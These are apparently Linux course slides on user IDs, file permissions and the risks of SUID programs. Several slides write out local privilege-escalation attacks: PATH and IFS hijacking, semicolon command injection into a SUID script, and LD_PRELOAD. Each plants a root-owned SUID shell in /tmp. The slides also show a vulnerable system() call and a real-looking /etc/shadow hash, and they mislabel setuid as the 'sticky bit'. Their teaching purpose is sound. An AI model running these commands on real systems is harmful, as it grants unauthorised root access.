IL SISTEMA OPERATIVO LINUX

Introduzione all'uso di Linux

Luigi Coppolino, Luigi Romano

The Magic of SUID

UID E GID


```
colui@COLUI-SURFACE:~$ id -u colui
1000
colui@COLUI-SURFACE:~$ whoami
colui
colui@COLUI-SURFACE:~$ id -u `whoami`
1000
colui@COLUI-SURFACE:~$ id -u `sudo whoami`
0
```

- Ogni utente ha uno Username ed uno User ID

```
colui@COLUI-SURFACE:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
```

- /etc/passwd contiene informazioni su utenti, uid, ecc…
- Uno User può appartenere ad uno o più gruppi
  - Il concetto di Gruppo consente all'amministratore di gestire contemporaneamente I permessi per più utenti

FILE PERMISSION

- Alla luce di quanto detto, rivediamo come sono gestiti i permessi in Linux

Per visualizzare i permessi su una risorsa eseguiamo: ***ls –l***

		owner	group					
-rw-rw-r--	1	osboxes	osboxes	14255	set	6	11:32	scrot.png
drwxr-xr-x	2	osboxes	osboxes	4096	ago	8	12:48	Desktop

Others: gli altri utenti possono solo leggere il file scrot.png; leggere ed entrare nella directory Desktop

Group: Gli utenti appartenenti al Gruppo osboxes possono leggere e scrivere il file scrot.png; listare e entrare nella directory Desktop

Owner: Il proprietario, osboxes, può leggere e scrivere il file scrot.png che non può essere eseguito. Lo stesso utente è proprietario della directori Desktop che può essere letta (listing dei file), modificata (creazione/cancellazione di un file al suo interno), eseguita (cd /Desktop)

STICKY BIT

- Partiamo dal problema…

- In linux più utenti possono avere lo stesso UID
- Nel file /etc/shadow sono conservati gli hash delle password degli utenti
- Se un utente fosse in grado di modificare il file potrebbe, ad esempio, cancellare la pwd di un altro utente
- Per questo motivo solo “root” deve poter modificare /etc/shadow
- Ma ogni utente deve poter modificare la propria password

```
colui@COLUI-SURFACE:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
colui@COLUI-SURFACE:~$ sudo cat /etc/shadow | grep colui
colui:$6$zCezfzvF$diGLwFrhhhfXGPFU/rR8LqbPkSI9osQzS/htwbYizuCRr2APWYZ14YuILNu2E92S9ao6x7wCGO7Z4dcJ2pU2r/:17500:0:99999:7
:::
```

- La soluzione è lo STICKY BIT

COMPRENDERE LO STICKY BIT

- Per modificare la propria password si usa il comando:
  - /usr/bin/passwd
- Guardiamo i permessi del comando passwd

```
colui@COLUI-SURFACE:~$ ls -al `which passwd`
-rwsr-xr-x 1 root root 54256 May 17  2017 /usr/bin/passwd
```

- Il programma appartiene a root:root
- Gli utenti OTHER possono eseguire il commando … ma il comando in esecuzione avrebbe UID dell'utente che lo lancia…per cui non può accedere al file shadow

- Notiamo che il bit X dell'utente OWNER anziché avere una x ha una S (Sticky bit)
  - chmod +S filename
- In questo caso, il programma, lanciato da OTHER, verrà eseguito con i diritti dell'OWNER (root) così da poter modificare il file passwd (il programma avrà UID di OTHER e eUID – effective UID di OWNER)

The danger of SUID

A SIMPLE SUID PROGRAM

```
% ls change-pass
-rwsr-x--- 1 root      helpdesk
    37 Feb 26 16:35 change-pass

% cat change-pass
#!/bin/ksh
set user = $1
passwd $user
```

This script has been prepare for helpdesk guys who need to reset password for normal users

BE CAREFUL WITH RELATIVE PATHS


```
% export PATH='/tmp'
% echo "cp /bin/sh /tmp/sh;chown root /tmp/sh;
    chmod 4755 /tmp/sh" >/tmp/passwd
% ./change-pass
```

- The script was invoking the “passwd” program which is expected to be in “/bin/” folder
  - The correct program is found because the PATH environment variable points to /bin/ (try: *echo $PATH*)
- PATH is overwritten to point /tmp
- In /tmp an sh script is prepared which create a backdoor for the attacker (current user)
- The attacker launches the ./change-pass SUID command
- Now in /tmp the attack has an sh SUID command owned by root

NEVER TRUST USERS INPUTS

```
% change-pass "user;cp /bin/sh /tmp/sh;chown
root /tmp/sh;chmod 4755 /tmp/sh"
```

- The command in the script would become:

```
%passwd user;cp /bin/sh /tmp/sh;chown root /tmp/sh;
     chmod 4755 /tmp/sh
```

- Which again opens a backdoor as root to current user

REMEMBER IMPLICIT PARAMETERS

- Let's consider a SUID binary whose C code was:

```
int main(int argc, char* argv[]){
   char command[100];
   sprintf(command, "cat %s", argv[1]);
   system(command);
}
```

- The system instruction actually opens a "/bin/sh" shell and than executes the given command
- It implicitly inherits environment variables such as PATH
- The attacker could:

```
echo "cp /bin/sh /tmp/sh;chown root /tmp/sh; chmod
    4755 /tmp/sh" > ./cat; chmod +x ./cat
export PATH=.:PATH
```

ALSO CONSIDER INPUT VALIDATION (SEMICOLON TRICK)

DON'T BE TOO MUCH SELFCONFIDENT

- We can think to fix by simply using absolute paths

```
system(/bin/command);
```

- `IFS` environment variable determines the "delimiter" character

```
export IFS="/ \t\n"
export PATH=".:$PATH"
```

- At this point when system opens the shell and execute /bin/command the "/" character is considered as a separator thus the actual command will be

```
system(" bin command")
```

- And a local bin script could made it

```
echo "cp /bin/sh /tmp/sh;chown root /tmp/sh; chmod
    4755 /tmp/sh" > ./bin; chmod +x ./bin
```

Additional Dangerous Environment Variables

- LD_LIBRARY_PATH is an environment variable used by the the dynamic linker/loader (ld.so and ld-linux.so). It contains a list of directories for the linker/loader to look for when it searches for shared libraries
  - Every Unix program depends on libc.so : If these libraries can be replaced by malicious copies, malicious code can be invoked when functions in these libraries are invoked
  - To make sure Set-UID programs are safe from the manipulation of the LD_LIBRARY_PATH environment variable, the runtime linker/loader (ld.so) will ignore this environment variable if the program is a Set-UID program.
- LD_PRELOAD Environment Variable: Many Unix systems allow to ”pre-load” shared libraries by setting the LD_PRELOAD variable
  - User defined library are loaded and used before all others
  - This can be used to overwrite common libraries (e.g. printf)

AVOID SUID AS MUCH AS POSSIBLE…

- In UBUNTU a suid program with system(cmd) executes cmd without root priviledges
- Instead of using a system(cmd) which executes cmd in a /bin/sh just use execve(…) (do not load environment variables)
  - The popen() function opens a pipe to a new process to execute a command and read back output as a file stream…through a shell
  - In Perl scripts open() allows to execute commands…through a shell
  - …

- Always remember the **LEAST PRIVILEDGE PRINCIPLE**

EXERCISE:

- www.root-me.org
- The first 3 challenges

REFERENCES

- http://www.drdobbs.com/dangers-of-suid-shell-scripts/199101190
- http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Set_UID.pdf